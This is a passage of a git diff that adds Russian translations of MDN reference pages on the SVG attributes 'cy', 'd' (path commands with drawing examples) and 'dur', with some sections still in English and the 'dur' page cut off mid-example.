+<p>Для элемента {{ SVGElement("radialGradient") }} этот атрибут определяет координату y набольшого(т.е. внешнего) круга в радиальном градиенте. Градиент будет нарисован так, чтобы значение градиента <strong>100%</strong> соответствовало периметру этого наибольшего(внешнего) круга. Если атрибут не определён, то эффект такой, как если бы было указано значение <strong>50%</strong>.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/ru/docs/Web/SVG/Content_type#Coordinate" title="https://developer.mozilla.org/en/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативные документы (en)</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/shapes.html#CircleElementCYAttribute" title="http://www.w3.org/TR/SVG/shapes.html#CircleElementCYAttribute">SVG 1.1 (2nd Edition): The circle element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCYAttribute" title="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCYAttribute">SVG 1.1 (2nd Edition): The ellipse element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCYAttribute" title="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCYAttribute">SVG 1.1 (2nd Edition): The radialGradient element</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("/ru/docs/Web/SVG/Content_type","Coordinate") }}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: xml">  &lt;svg width="120" height="220"
+     viewPort="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+    &lt;style type="text/css" &gt;
+
+      &lt;![CDATA[
+       circle.circleClass {
+       stroke: #006600;
+       fill:   #cc0000;
+    }
+
+      ]]&gt;
+    &lt;/style&gt;
+     &lt;circle  class="circleClass"   cx="40" cy="50" r="26"/&gt;
+&lt;/svg&gt;</pre>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>cy</code></p>
+
+<ul>
+ <li>{{ SVGElement("circle") }}</li>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li>{{ SVGElement("radialGradient") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/d/index.html b/files/ru/web/svg/attribute/d/index.html
new file mode 100644
index 0000000000..708aa0cbad
--- /dev/null
+++ b/files/ru/web/svg/attribute/d/index.html
@@ -0,0 +1,566 @@
+---
+title: d
+slug: Web/SVG/Attribute/d
+translation_of: Web/SVG/Attribute/d
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <strong><code>d</code></strong> предоставляет определение пути для рисования.</p>
+
+<p>Определение пути - это <a href="#Path_commands">список команд пути</a>, в которых каждая команда состоит из буквы и некоторых чисел, представляющих параметр команды. Ниже приведены все возможные команды.</p>
+
+<p>Три элемента используют этот атрибут: {{SVGElement("path")}}, {{SVGElement("glyph")}}, и {{SVGElement("missing-glyph")}}</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path fill="none" stroke="red"
+    d="M 10,30
+       A 20,20 0,0,1 50,30
+       A 20,20 0,0,1 90,30
+       Q 90,60 50,90
+       Q 10,60 10,30 z" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', '100%', 200)}}</p>
+</div>
+
+<h2 id="path">path</h2>
+
+<p>Для {{SVGElement('path')}}, <code>d</code> - строка, содержащая ряд команд пути, которые определяют путь, который должен нарисован.(maybe 'drawn' not 'drown')</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Value</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Default value</th>
+   <td><em>none</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="glyph">glyph</h2>
+
+<p class="warning"><strong>Warning:</strong> Начиная с SVG2 {{SVGElement('glyph')}} устарел и не должен использоваться.</p>
+
+<p>Для {{SVGElement('glyph')}}, <code>d</code> является строкой, содержащей серию команд пути, которые определяют форму контура глифа.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Value</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Default value</th>
+   <td><em>none</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Сноска:</strong> Точка происхождения (координата <code>0</code>,<code>0</code>) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет свое происхождение в левом нижнем углу своего бокса.</p>
+
+<h2 id="missing-glyph">missing-glyph</h2>
+
+<p class="warning"><strong>Внимание:</strong> Начиная с SVG2 {{SVGElement('missing-glyph')}} устарел и не должен использоваться.</p>
+
+<p>Для {{SVGElement('missing-glyph')}}, <code>d</code> является строкой, содержащей серию команд пути, которые определяют форму контура глифа.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Value</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Default value</th>
+   <td><em>none</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Команды_пути">Команды пути</h2>
+
+<p><em>(Path commands)</em></p>
+
+<p>Команды пути - это команды, объединённые вместе в одну строку и определяющие путь, который нужно нарисовать. Каждая команда состоит из буквы, следующей за некоторыми числами, которые представляют параметры команды.</p>
+
+<p>SVG определяет 6 типов команд пути для всех 20 команд:</p>
+
+<ul>
+ <li>MoveTo: <code>M</code>, <code>m</code></li>
+ <li>LineTo: <code>L</code>, <code>l</code>, <code>H</code>, <code>h</code>, <code>V</code>, <code>v</code></li>
+ <li>Cubic Bézier Curve: <code>C</code>, <code>c</code>, <code>S</code>, <code>s</code></li>
+ <li>Quadratic Bézier Curve: <code>Q</code>, <code>q</code>, <code>T</code>, <code>t</code></li>
+ <li>Elliptical Arc Curve: <code>A</code>, <code>a</code></li>
+ <li>ClosePath: <code>Z</code>, <code>z</code></li>
+</ul>
+
+<p class="note"><strong>Заметка:</strong> Команды чувствительны к регистру; команда верхнего регистра указывает свои аргументы как абсолютные позиции, тогда как команда нижнего регистра указывает точки относительно текущей позиции.</p>
+
+<p>Всегда можно указать отрицательное значение в качестве аргумента для команды: отрицательные углы будут вращаться против часовой стрелки, абсолютные позиции x и y будут приниматься за отрицательные координаты, отрицательные относительные значения x будут перемещаться влево, а отрицательные относительные значения y будут двигаться вверх.</p>
+
+<h3 id="Команды_перемещения">Команды перемещения</h3>
+
+<p><em>(MoveTo path commands)</em></p>
+
+<p><em>MoveTo </em>инструкции можно рассматривать как собирание чертежного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.</p>
+
+<p class="note"><strong>Заметка:</strong> Хорошей практикой является открытие всех путей с помощью команды <strong>moveto</strong>, потому что без начального <strong>moveto</strong> команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределенному поведению.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Команда</th>
+   <th scope="col">Параметры</th>
+   <th scope="col">Примечания</th>
+  </tr>
+  <tr>
+   <th scope="row">M</th>
+   <td>(<code>x</code>, <code>y</code>)+</td>
+   <td>Движение начала следующего под-пути к координатам  <code>x</code>,<code>y</code>. Любая последующая координатная пара(ы) интерпретируется как параметр(ы) для неявных абсолютных команд LineTo(L) (см. Ниже).<br>
+    Формула: P<sub>n</sub> = {<code>x</code>, <code>y</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">m</th>
+   <td>(<code>dx</code>, <code>dy</code>)+</td>
+   <td>
+    <p>Перемещает начало следующего подпути, сдвинув последнюю известную позицию пути на <code>dx</code> вдоль оси <code>x</code> и на <code>dy</code> вдоль оси <code>y</code>. Любая последующая пара координат считается неявной относительной командой LineTo (<code>l</code>) (см. ниже)<br>
+     Формула: P<sub>n</sub>= {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path fill="none" stroke="red"
+    d="M 10,10 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       M 40,20 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       M 50,50 h 10
+       m-20,10 h 10
+       m-20,10 h 10
+       m-20,10 h 10" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Команды_перемещения', '100%', 200)}}</p>
+
+<h3 id="LineTo_path_commands">LineTo path commands</h3>
+
+<p><em>LineTo</em> инструкции проводят прямую линию от <em>current point</em> (P<sub>o</sub>; {x<sub>o</sub>, y<sub>o</sub>}), до <em>end point</em> (P<sub>n</sub>; {x<sub>n</sub>, y<sub>n</sub>}), на основе указанных параметров. Конечная точка <em>end point </em>(P<sub>n</sub>) становится текущей точкой для следующей команды  (P<sub>o</sub><sup>'</sup>).</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">L</th>
+   <td>(<code>x</code>, <code>y</code>)+</td>
+   <td>
+    <p>Рисует линию из <em>текущей точки в конечную точку определенную</em> <code>x</code>,<code>y</code>. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (<code>L</code>). Формула: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">l</th>
+   <td>(<code>dx</code>, <code>dy</code>)+</td>
+   <td>Draw a line from the current point to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All usubsequente pair of coordinates are considered implicite relative LineTo (<code>l</code>) command (<em>see below</em>).</td>
+  </tr>
+  <tr>
+   <th scope="row">H</th>
+   <td><code>x</code>+</td>
+   <td>Draw a horizontal line from the current point to the new <code>x</code> coordinate (<em>y coordinate stay unchanged</em>). The current point get its x coordinate updated for the next command. All subsequente value are considered an implicite absolute horizontal LineTo (<code>H</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">h</th>
+   <td><code>dx</code>+</td>
+   <td>Draw a horizontal line from the current point to a point shift by <code>dx</code> along the the x-axis (<em>y coordinate stay unchanged</em>). The current point get its X coordinate updated by <code>dx</code> for the next command. All subsequente value are considered an implicite relative horizontal LineTo (<code>h</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">V</th>
+   <td><code>y</code>+</td>
+   <td>Draw a vertical line from the current point to the new <code>y</code> coordinate (<em>x coordinate stay unchanged</em>). The current point get its y coordinate updated for the next command. All subsequente value are considered an implicite absolute vertical LineTo (<code>V</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">v</th>
+   <td><code>dy</code>+</td>
+   <td>Draw a vertical line from the current point to a point shift by <code>dy</code> along the y-axis (<em>x coordinate stay unchanged</em>). The current point get its Y coordinate updated by <code>dy</code> for the next command. All subsequente value are considered an implicite relative vertical LineTo (<code>v</code>) command.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_2">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- LineTo commands in absolute coordinates --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 10,10
+           L 90,90
+           V 10
+           H 50" /&gt;
+
+  &lt;!-- LineTo commands in relative coordinates --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 110,10
+           l 80,80
+           v -80
+           h -40" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('LineTo_path_commands', '100%', 200)}}</p>
+
+<h3 id="Cubic_Bézier_Curve">Cubic Bézier Curve</h3>
+
+<p><em>Cubic <a href="https://en.wikipedia.org/wiki/Bézier_curve">Bézier curves</a></em> are smooth curve definitions using four points: A starting point, a end point, and two control points to define the curvature.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">C</th>
+   <td>(<code>x1</code>,<code>y1</code>, <code>x2</code>,<code>y2</code>, <code>x</code>,<code>y</code>)+</td>
+   <td>Draw a Bézier curve from the current point to the coordinate <code>x</code>,<code>y</code>. <code>x1</code>,<code>y1</code> are the coordinates of the control point at the begining of the curve where <code>x2</code>,<code>y2</code> are the coordinates of the controle point at the end of the curve. The coordinate <code>x</code>,<code>y</code> become the new current point for the next command. All subsequente triplets of coordinates are considered implicite absolute cubic Bézier curve (<code>C</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">c</th>
+   <td>(<code>dx1</code>,<code>dy1</code>, <code>dx2</code>,<code>dy2</code>, <code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a Bézier curve from the current point to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. <code>dx1</code>,<code>dy1</code> are the coordinates of the control point at the beginning of the curve relative to the starting point of the curve and <code>dx2</code>,<code>dy2</code> are the coordinates of the controle point at the end of the curve relative to the starting point of the curve. The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All subsequente triplets of coordinates are considered implicite relative cubic Bézier curve (<code>c</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">S</th>
+   <td>(<code>x2</code>,<code>y2</code>, <code>x</code>,<code>y</code>)+</td>
+   <td>Draw a smooth Bézier curve from the current point to the coordinate <code>x</code>,<code>y</code>. <code>x2</code>,<code>y2</code> are the coordinates of the controle point at the end of the curve. The controle point at the begining of the curve is a reflexion of the controle points at the end of the previous curve command. If the previous command wasn't a curve, then the coordinate of the controle point at the begining of the curve match those of the curve starting point. The coordinate <code>x</code>,<code>y</code> become the new current point for the next command. All subsequente duo of coordinates are considered implicite absolute smooth cubic Bézier curve (<code>S</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">s</th>
+   <td>(<code>dx2</code>,<code>dy2</code>, <code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a smooth Bézier curve from the current point to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. <code>dx2</code>,<code>dy2</code> are the coordinates of the controle point at the end of the curve relative to the starting point of the curve. The controle point at the begining of the curve is a reflexion of the controle points at the end of the previous curve command. If the previous command wasn't a curve, then the coordinate of the controle point at the begining of the curve match those of the curve starting point. The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All subsequente duo of coordinates are considered implicite relative smooth cubic Bézier curve (<code>s</code>) command.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_3">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- Quadratic Bézier curve with absolute coordinate --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 10,90
+           C 30,90 25,10 50,10
+           S 70,90 90,90" /&gt;
+
+  &lt;!-- Quadratic Bézier curve with relative coordinate --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 110,90
+           c 20,0 15,-80 40,-80
+           s 20,80 40,80" /&gt;
+
+  &lt;!-- Highlight the curve vertex and control points --&gt;
+  &lt;g id="ControlPoints"&gt;
+
+    &lt;!-- First cubic command control points --&gt;
+    &lt;line x1="10" y1="90" x2="30" y2="90" stroke="lightgrey" /&gt;
+    &lt;circle cx="30" cy="90" r="1.5"/&gt;
+
+    &lt;line x1="50" y1="10" x2="25" y2="10" stroke="lightgrey" /&gt;
+    &lt;circle cx="25" cy="10" r="1.5"/&gt;
+
+    &lt;!-- Second smooth command control points (the first one is implicite) --&gt;
+    &lt;line x1="50" y1="10" x2="75" y2="10" stroke="lightgrey" stroke-dasharray="2" /&gt;
+    &lt;circle cx="75" cy="10" r="1.5" fill="lightgrey"/&gt;
+
+    &lt;line x1="90" y1="90" x2="70" y2="90" stroke="lightgrey" /&gt;
+    &lt;circle cx="70" cy="90" r="1.5" /&gt;
+
+    &lt;!-- curve vertex points --&gt;
+    &lt;circle cx="10" cy="90" r="1.5"/&gt;
+    &lt;circle cx="50" cy="10" r="1.5"/&gt;
+    &lt;circle cx="90" cy="90" r="1.5"/&gt;
+  &lt;/g&gt;
+  &lt;use xlink:href="#ControlPoints" x="100" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Cubic_Bézier_Curve', '100%', 200)}}</p>
+
+<h3 id="Quadratic_Bézier_Curve">Quadratic Bézier Curve</h3>
+
+<p><em>Quadratic <a href="https://en.wikipedia.org/wiki/Bézier_curve">Bézier curves</a></em> are smooth curve definitions using three points: A starting point, a end point, and a control point to define the curvature.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">Q</th>
+   <td>(<code>x1</code>,<code>y1</code>, <code>x</code>,<code>y</code>)+</td>
+   <td>Draw a Bézier curve from the current point to the coordinate <code>x</code>,<code>y</code>. <code>x1</code>,<code>y1</code> are the coordinates of the control point for the curve. The coordinate <code>x</code>,<code>y</code> become the new current point for the next command. All subsequente duo of coordinates are considered implicite absolute quadratic Bézier curve (<code>Q</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">q</th>
+   <td>(<code>dx1</code>,<code>dy1</code>, <code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a Bézier curve from the current point to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. <code>dx1</code>,<code>dy1</code> are the coordinates of the control point for the curve relative to the starting point of the curve. The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All subsequente duo of coordinates are considered implicite relative quadratic Bézier curve (<code>q</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">T</th>
+   <td>(<code>x</code>,<code>y</code>)+</td>
+   <td>Draw a smooth Bézier curve from the current point to the coordinate <code>x</code>,<code>y</code>. The controle point for the curve is a reflexion of the controle points at the end of the previous curve command. If the previous command wasn't a curve, then the coordinate of the controle point at the begining of the curve match those of the curve starting point. The coordinate <code>x</code>,<code>y</code> become the new current point for the next command. All subsequente coordinates are considered implicite absolute smooth quadratic Bézier curve (<code>T</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">t</th>
+   <td>(<code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a smooth Bézier curve from the current point to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The controle point for the curve is a reflexion of the controle points at the end of the previous curve command. If the previous command wasn't a curve, then the coordinate of the controle point at the begining of the curve match those of the curve starting point. The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All subsequente coordinates are considered implicite relative smooth quadratic Bézier curve (<code>t</code>) command.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_4">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- Quadratic Bézier curve with implicite repetition --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 10,50
+           Q 25,25 40,50
+           t 30,0 30,0 30,0 30,0 30,0" /&gt;
+
+  &lt;!-- Highlight the curve vertex and control points --&gt;
+  &lt;g&gt;
+    &lt;polyline points="10,50 25,25 40,50" stroke="rgba(0,0,0,.2)" fill="none" /&gt;
+    &lt;circle cx="25" cy="25" r="1.5" /&gt;
+
+    &lt;!-- curve vertex points --&gt;
+    &lt;circle cx="10" cy="50" r="1.5"/&gt;
+    &lt;circle cx="40" cy="50" r="1.5"/&gt;
+
+    &lt;g id="SmoothQuadraticDown"&gt;
+      &lt;polyline points="40,50 55,75 70,50" stroke="rgba(0,0,0,.2)" stroke-dasharray="2" fill="none" /&gt;
+      &lt;circle cx="55" cy="75" r="1.5" fill="lightgrey" /&gt;
+      &lt;circle cx="70" cy="50" r="1.5" /&gt;
+    &lt;/g&gt;
+
+    &lt;g id="SmoothQuadraticUp"&gt;
+      &lt;polyline points="70,50 85,25 100,50" stroke="rgba(0,0,0,.2)" stroke-dasharray="2" fill="none" /&gt;
+      &lt;circle cx="85" cy="25" r="1.5" fill="lightgrey" /&gt;
+      &lt;circle cx="100" cy="50" r="1.5" /&gt;
+    &lt;/g&gt;
+
+    &lt;use xlink:href="#SmoothQuadraticDown" x="60" /&gt;
+    &lt;use xlink:href="#SmoothQuadraticUp"   x="60" /&gt;
+    &lt;use xlink:href="#SmoothQuadraticDown" x="120" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Quadratic_Bézier_Curve', '100%', 200)}}</p>
+
+<h3 id="Elliptical_Arc_Curve">Elliptical Arc Curve</h3>
+
+<p><em>Elliptical arc curves</em> are curves define as a portion of an ellipse. It is sometimes easier than Bézier curve to draw highly regular curves.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">A</th>
+   <td>(<code>rx</code> <code>ry</code> <code>angle</code> <code>large-arc-flag</code> <code>sweep-flag</code> <code>x</code> <code>y</code>)+</td>
+   <td>
+    <p>Draw an Arc curve from the current point to the coordinate <code>x</code>,<code>y</code>. The center of the ellipse used to draw the arc is determine automatically based on the other parameters of the command:</p>
+
+    <ul>
+     <li><code>rx</code> and <code>ry</code> are the two radii of the ellipse;</li>
+     <li><code>angle</code> represente a rotation (in degree) of the ellipse relative to the x-axis;</li>
+     <li><code>large-arc-flag</code> and <code>sweep-flag</code> allows to chose which arc must be drawn as 4 possible arcs can be drawn out of the other parameters.
+      <ul>
+       <li><code>large-arc-flag</code> allows to chose one of the large arc (<strong>1</strong>) or small arc (<strong>0</strong>),</li>
+       <li><code>sweep-flag</code> allows to chose one of the clockwise turning arc (<strong>1</strong>) or anticlockwise turning arc (<strong>0</strong>)</li>
+      </ul>
+     </li>
+    </ul>
+    The coordinate <code>x</code>,<code>y</code> become the new current point for the next command. All subsequente set of parameters are considered implicite absolute arc curve (<code>A</code>) command.</td>
+  </tr>
+  <tr>
+   <th scope="row">a</th>
+   <td>(<code>rx</code> <code>ry</code> <code>angle</code> <code>large-arc-flag</code> <code>sweep-flag</code> <code>dx</code> <code>dy</code>)+</td>
+   <td>
+    <p>Draw an Arc curve from the current point to to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The center of the ellipse used to draw the arc is determine automatically based on the other parameters of the command:</p>
+
+    <ul>
+     <li><code>rx</code> and <code>ry</code> are the two radii of the ellipse;</li>
+     <li><code>angle</code> represente a rotation (in degree) of the ellipse relative to the x-axis;</li>
+     <li><code>large-arc-flag</code> and <code>sweep-flag</code> allows to chose which arc must be drawn as 4 possible arcs can be drawn out of the other parameters.
+      <ul>
+       <li><code>large-arc-flag</code> allows to chose one of the large arc (<strong>1</strong>) or small arc (<strong>0</strong>),</li>
+       <li><code>sweep-flag</code> allows to chose one of the clockwise turning arc (<strong>1</strong>) or anticlockwise turning arc (<strong>0</strong>)</li>
+      </ul>
+     </li>
+    </ul>
+    The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All subsequente set of parameters are considered implicite relative arc curve (<code>a</code>) command.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_5">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- The influence of the arc flags on which arc is drawn --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 6,10
+           A 6 4 10 1 0 14,10" /&gt;
+
+  &lt;path fill="none" stroke="lime"
+        d="M 6,10
+           A 6 4 10 1 1 14,10" /&gt;
+
+  &lt;path fill="none" stroke="purple"
+        d="M 6,10
+           A 6 4 10 0 1 14,10" /&gt;
+
+  &lt;path fill="none" stroke="pink"
+        d="M 6,10
+           A 6 4 10 0 0 14,10" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Elliptical_Arc_Curve', '100%', 200)}}</p>
+
+<h3 id="ClosePath">ClosePath</h3>
+
+<p><em>ClosePath</em> instructions draw a straight line from the current position, to the first point in the path.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">Z, z</th>
+   <td></td>
+   <td>Close the curent subpath by connecting the last point of the path with its initial point. If the two points doesn't have the same coordinates, a straight line is drawn between those two points.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> The appearance of a shape closed with closepath may be different to that of one closed by drawing a line to the origin, using one of the other commands, because the line ends are joined together (according to the {{SVGAttr('stroke-linejoin')}} setting), rather than just being placed at the same coordinates.</p>
+
+<h4 id="Examples_6">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 -1 30 11" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!--
+  An open shape with the last point of
+  the path different than the first one
+  --&gt;
+  &lt;path stroke="red"
+        d="M 5,1
+           l -4,8 8,0" /&gt;
+
+  &lt;!--
+  An open shape with the last point of
+  the path matching the first one
+  --&gt;
+  &lt;path stroke="red"
+        d="M 15,1
+           l -4,8 8,0 -4,-8" /&gt;
+
+  &lt;!--
+  An closed shape with the last point of
+  the path different than the first one
+  --&gt;
+  &lt;path stroke="red"
+        d="M 25,1
+           l -4,8 8,0
+           z" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('ClosePath', '100%', 200)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "paths.html#DProperty", "d")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Definition for <code>&lt;path&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "fonts.html#GlyphElementDAttribute", "d")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition for <code>&lt;glyph&gt;</code> and <code>&lt;missing-glyph&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "paths.html#DAttribute", "d")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition for <code>&lt;path&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/svg/attribute/dur/index.html b/files/ru/web/svg/attribute/dur/index.html
new file mode 100644
index 0000000000..7580e8fd28
--- /dev/null
+++ b/files/ru/web/svg/attribute/dur/index.html
@@ -0,0 +1,95 @@
+---
+title: dur
+slug: Web/SVG/Attribute/dur
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/dur
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <strong><code>dur</code></strong> отображает простую длительность анимации.</p>
+
+<p>Пять элементов используют данный атрибут: {{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, и {{SVGElement("set")}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html, body, svg {
+  height: 100%;
+}</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect x="0" y="0" width="100" height="100"&gt;
+    &lt;animate attributeType="XML" attributeName="y" from="0" to="50"
+        dur="1s" repeatCount="indefinite"/&gt;
+  &lt;/rect&gt;
+  &lt;rect x="120" y="0" width="100" height="100"&gt;
